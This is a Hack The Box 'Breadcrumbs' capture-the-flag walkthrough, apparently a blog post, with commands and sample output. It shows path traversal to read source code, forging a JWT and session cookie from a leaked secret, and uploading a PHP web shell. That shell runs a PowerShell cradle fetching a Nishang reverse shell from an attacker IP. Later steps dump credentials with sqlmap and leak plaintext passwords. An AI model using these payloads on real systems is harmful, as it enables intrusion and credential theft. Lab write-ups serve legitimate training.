Hack The Box – Breadcrumbs



βββ(rootπkali)-[/home/kali/Downloads/ffuf]
ββ# ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.228/FUZZ

https://10.10.10.228/php/books.php






https://10.10.10.228/portal/login.php

Here click on helper
https://10.10.10.228/portal/php/admins.php

https://10.10.10.228/portal/login.php
now here signup





Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoidGVzdDEyMyJ9fQ.I6UVFLemD8M6htDIj58L2yu_36R3GGdGcaSqPNtFKfY

Title: ../../../../../../../../../../C:/Windows/notepad.exe
Author : a

Click on book

book=../../../../../../../../../../C:/Windows/notepad.exe&method=1

book=../php/books.php&method=1

book=../portal/includes/fileController.php&method=1

Copy the output
<?php\r\n$ret = \”\”;\r\nrequire \”..\/vendor\/autoload.php\”;\r\nuse \\Firebase\\JWT\\JWT;\r\nsession_start();\r\n\r\nfunction validate(){\r\n $ret = false;\r\n $jwt = $_COOKIE[‘token’];\r\n\r\n $secret_key = ‘6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e’;\r\n $ret = JWT::decode($jwt, $secret_key, array(‘HS256’)); \r\n return $ret;\r\n}\r\n\r\nif($_SERVER[‘REQUEST_METHOD’] === \”POST\”){\r\n $admins = array(\”paul\”);\r\n $user = validate()->data->username;\r\n if(in_array($user, $admins) && $_SESSION[‘username’] == \”paul\”){\r\n error_reporting(E_ALL & ~E_NOTICE);\r\n $uploads_dir = ‘..\/uploads’;\r\n $tmp_name = $_FILES[\”file\”][\”tmp_name\”];\r\n $name = $_POST[‘task’];\r\n\r\n if(move_uploaded_file($tmp_name, \”$uploads_dir\/$name\”)){\r\n $ret = \”Success. Have a great weekend!\”;\r\n } \r\n else{\r\n $ret = \”Missing file or title :(\” ;\r\n }\r\n }\r\n else{\r\n $ret = \”Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.\”;\r\n }\r\n\r\n echo $ret;\r\n} “
By this way we get the secret key: 6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e
Now go back to jtw.io
Put the secret key

Let us use this secret to construct the JWT token for βpaulβ.

Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
book=../portal/cookie.php&method=1

Copy the code
<?php\r\n\/**\r\n * @param string $username Username requesting session cookie\r\n * \r\n * @return string $session_cookie Returns the generated cookie\r\n * \r\n * @devteam\r\n * Please DO NOT use default PHPSESSID; our security team says they are predictable.\r\n * CHANGE SECOND PART OF MD5 KEY EVERY WEEK\r\n * *\/\r\nfunction makesession($username){\r\n $max = strlen($username) – 1;\r\n $seed = rand(0, $max);\r\n $key = \”s4lTy_stR1nG_\”.$username[$seed].\”(!528.\/9890\”;\r\n $session_cookie = $username.md5($key);\r\n\r\n return $session_cookie;\r\n}
We can see that cookie.php is using the username to generate a random cookie, let add an additional line, and then call the function makesession with the username βpaulβ to get its cookie.
Modified the code

Code:
?php
/**
* @param string $username Username requesting session cookie\r\n
*
* @return string $session_cookie Returns the generated cookie\r\n
*
* @devteam
* Please DO NOT use default PHPSESSID; our security team says they are predictable.
* CHANGE SECOND PART OF MD5 KEY EVERY WEEK\r\n
* */
function makesession($username){
$max = strlen($username) – 1;
$seed = rand(0, $max);
$key = “s4lTy_stR1nG_”.$username[$seed].”(!528./9890″;
$session_cookie = $username.md5($key);
return $session_cookie;
}
print(makesession(“paul”));
Now run this code to generate the cookie for paul user.
βββ(rootπkali)-[/home/kali/Downloads]
ββ# php cookie.phpΒ Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β

Now we have both, the JWT Token and PHPSESSID for βpaulβ, let us change the cookies in our browser and see whether it works. I use Cookie-editor for playing around with cookies.Value: paul47200b180ccd6835d25d034eeb6e6390
paul8c8808867b53c49777fe5559164708c3paula2a6a014d3bee04d7df8d5837d62e8c5paul61ff9d4aaefe6bdf45681678ba89ff9d
Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU


Now go back to browser reload the page and we login as paul

Now click on file management


<?=`$_GET[0]`?>

Modify in task .zip to .php



We can now execute commands via the GET parameter 0
βββ(rootπkali)-[/home/kali/Downloads]
ββ# wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 -O tcp.ps1

βββ(rootπkali)-[/home/kali/Downloads]
ββ# echo ‘Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.37 -Port 4444’ >> tcp.ps1
βββ(rootπkali)-[/home/kali/Downloads]
ββ# sed -i “s/PowerShellTcp/tcpps/g” tcp.ps1Β Β Β



βββ(rootπkali)-[/home/kali/Downloads]
ββ# curl http://10.10.10.228/portal/uploads/shell.php -G –data-urlencode ‘0=powershell iex(iwr http://10.10.15.37/tcp.ps1 -useb)’

And we get the shell




Here we get the username and password
“username” : “juliette”,
“password” : “jUli901./())!”,
βββ(rootπkali)-[/home/kali/Downloads]
ββ# ssh juliette@10.10.10.228



https://stackoverflow.com/questions/38823336/where-sticky-notes-are-saved-in-windows-10-1607
juliette@BREADCRUMBS C:\Users\juliette\Desktop>cd c:\users\juliette\AppData\Local\Packages

juliette@BREADCRUMBS c:\Users\juliette\AppData\Local\Packages>cd Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

The directory contains some SQLite files, let us transfer the files to our machine. I tried SCP, but it does not work, let us copy the files to the /uploads web directory so that we can easily download the files from there.
I granted the user βjuilletβ the permissions to the /uploads folder from the web RCE.
βββ(rootπkali)-[/home/kali/Downloads/sql]
ββ# scp ‘juliette@10.10.10.228:/Users/juliette/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.*’ .

βββ(rootπkali)-[/home/kali/Downloads/sql]
ββ# sqlite3 plum.sqlite
sqlite> .tables
sqlite> select * from Note;

Output:
development: fN3)sN5Ee@g
βββ(rootπkali)-[/home/kali/Downloads]
ββ# ssh Development@10.10.10.228



βββ(rootπkali)-[/home/kali/Downloads]
ββ# scp development@10.10.10.228:/Development/Krypter_Linux .

βββ(rootπkali)-[/home/kali/Downloads]
ββ# file Krypter_Linux

ββ(rootπkali)-[/home/kali/Downloads]
ββ# ssh -N -L 1234:127.0.0.1:1234 development@10.10.10.228

βββ(rootπkali)-[/home/kali/Downloads]
ββ# curl ‘http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords’

The URL has many parameters to play with, let’s try to modify these to see if we can extract more information?
I started with just inserting a single quote in the username
On browser try to access this
http://127.0.0.1:1234/index.php?method=select&username=administrator’&table=passwords

βββ(rootπkali)-[/home/kali/Downloads]
ββ# sqlmap -u ‘http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords’ -p username βdbs

βββ(rootπkali)-[/home/kali/Downloads]
ββ# sqlmap -u ‘http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords’ -p username -D bread βtables

βββ(rootπkali)-[/home/kali/Downloads]
ββ# sqlmap -u ‘http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords’ -p username -D bread –tables -T passwords βdump

Password: H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=
https://www.devglan.com/online-tools/aes-encryption-decryption


Password : p@ssw0rd!@#$9890./


I appreciate the depth of analysis you’ve provided here.